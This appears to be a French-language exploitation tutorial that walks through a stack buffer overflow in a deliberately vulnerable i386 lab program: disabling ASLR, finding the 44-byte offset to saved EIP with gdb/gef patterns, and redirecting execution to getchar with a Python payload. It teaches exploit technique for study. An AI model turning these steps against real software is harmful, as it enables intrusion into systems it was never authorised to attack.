

# Passons à la pratique!

## Première phase de l'exploitation

Nous allons désormais nous appuyer sur le programme précédemment vu afin de l'exploiter

Pour commencer on va désactiver l'ASLR avec cette commande:

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

\*ASLR: protection qui va rendre aléatoire certains espace d'adressage

On a vu plus tôt comment le programme fonctionnait en lui donnant quelques "A"

Maintenant voyons voir ce qu'il se passe lorsque nous lui en donnons plus que prévu

```
$ ./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
00
Segmentation fault (core dumped)
$
```

On reçoit un beau segmentation fault (le programme a tout simplement tenté d'accéder à l'adresse 0x41414141, donc nos "A")

Maintenant jettons un petit coup d'oeil à notre stack:

```
0xbfff0000: 41 41 41 41
0xbfff0004: 41 41 41 41
0xbfff0008: 41 41 41 00
...
0xbfff0020: 41 41 41 41 <- sEBP
0xbfff0024: 41 41 41 41 <- sEIP
```

On vient tout simplement d'overwrite notre sauvegarde d'EIP

La vulnérabilité se trouve ici:

```
// vuln()
```

```
char buffer[32];  
read(0, buffer, 128);
```

On va lire 128 caracteres du stdin pour en mettre seulement 32 dans la variable `buffer`, donc logiquement si on entre plus que 32 caractere on va overwrite toutes les addresses qui suivent

Bon, c'est bien beau d'overwrite la sauvegarde de notre return instruction pointer avec des "A" mais maintenant comment va réagir le programme si nous remplacons ces "A" (plus précisément les "A" qui se trouve dans notre sauvegarde d'EIP) par une adresse valide? Une fonction par exemple :)

Je vais pour ce premier exemple utiliser la fonction `getchar` qui va comme `read` attendre une entrée utilisateur

## Récupération de l'offset

Pour pouvoir remplacer nos "A" par une adresse valide nous devons d'abord trouver le nombre de "A" à parcourir avant d'arriver à la sauvegarde d'EIP, notre "offset", il existe plusieurs méthodes pour pouvoir faire ça, je vais citer ici la plus simple, ça consiste simplement à envoyer un "pattern" au programme, puis voir où le programme plante, pour faire ça je vais utiliser `gdb` (debugger de GNU) avec l'extension `gef`

Je vais donc lancer gdb sur notre programme `vuln`

```
$ gdb vuln  
Reading symbols from vuln...  
(No debugging symbols found in vuln)  
GEF for linux ready, type `gef' to start, `gef config' to configure  
78 commands loaded for GDB 8.3 using Python engine 3.7  
gef>
```

On va donc commencer par générer notre pattern avec la commande `pattern create <nombre de chars.>`

```
gef> pattern c 100  
[+] Generating a pattern of 100 bytes  
aaaabaaacaaadaaaeeaaafaaagaaahaaaiaaaajaakaaa'laamaaaanaaaooaaapaaaqaaar aaasaaataaauaavaawaaaxaa  
[+] Saved as '$_gef0'  
gef>
```

On va ensuite lancer le programme puis lui envoyer notre pattern avec la commande `run`

```
gef> r
```

```

Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaamaaaanaaaooaaapaaaqaaar aaasaaataaaauaaavaaaawaaaxaa
# notre jolie pattern généré plus haut
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaakaaalaamaaaanaaaooaaapaaaqaaar aaasaaataaaauaaavaaaawaaaxaa

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
...

```

Donc on voit bien que le programme plante car il tente d'accéder à l'adresse `0x6161616c`, qui est en réalité: "laaa" (suite de caractère unique dans notre pattern)

Maintenant on va utiliser la commande `pattern search <fault addr>` pour pouvoir trouver notre offset

```

gef> pattern s 0x6161616c
[+] Searching '0x6161616c'
[+] Found at offset 44 (little-endian search) likely
# [+] Found at offset 41 (big-endian search)
gef>

```

Et voilà on vient de trouver notre offset!

Il nous faudra donc parcourir 44 "A" avant de tomber sur notre sauvegarde d'EIP

Maintenant pour en être sûr, on va envoyer au programme 44 "A" suivi de 4 "B"

```

gef> r < <(python -c 'print "A"*44+"B"*4') # On automatise ce processus avec python
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < <(python -c 'print
"A"*44+"B"*4')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
@00

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
...

```

Voilà, on voit bien que le programme crash car il tente d'accéder à l'adresse `0x42424242` qui sont en réalité nos "B" en hexa'

## Hijack de notre sauvegarde d'EIP

Maintenant on va juste modifier nos "B" par une adresse existante, comme je l'ai cité plus haut, je vais choisir la fonction `getchar` (de la librairie stdio que l'on load dans notre programme)

Pour récupérer l'adresse de cette fonction je vais tout simplement avec gdb taper la commande `info address getchar`

```
gef> info address getchar
Symbol "getchar" is at 0xf7e33820 in a file compiled without debugging.
gef>
```

Pour ma part l'adresse de `getchar` est `0xf7e33820`, on va donc mettre ça en little endian (qui est le format utiliser en i386) ce qui nous donne `0x2038e3f7` en envera donc la str "`\x20\x38\xe3\xf7`" grace à python

On va donc essayer:

```
gef> r < (python -c 'print "A"*44+"\x20\x38\xe3\xf7"')
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < (python -c 'print
"A"*44+"\x20\x38\xe3\xf7"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 800
izeiuheiuzhizhf # la fonction getchar s'execute
...
```

On remarque donc que la fonction `getchar` a bien été appelé, tout marche comme prévu :p

---

Revision #5

Created 6 May 2020 14:12:52 by z3pp

Updated 7 May 2020 15:07:13 by z3pp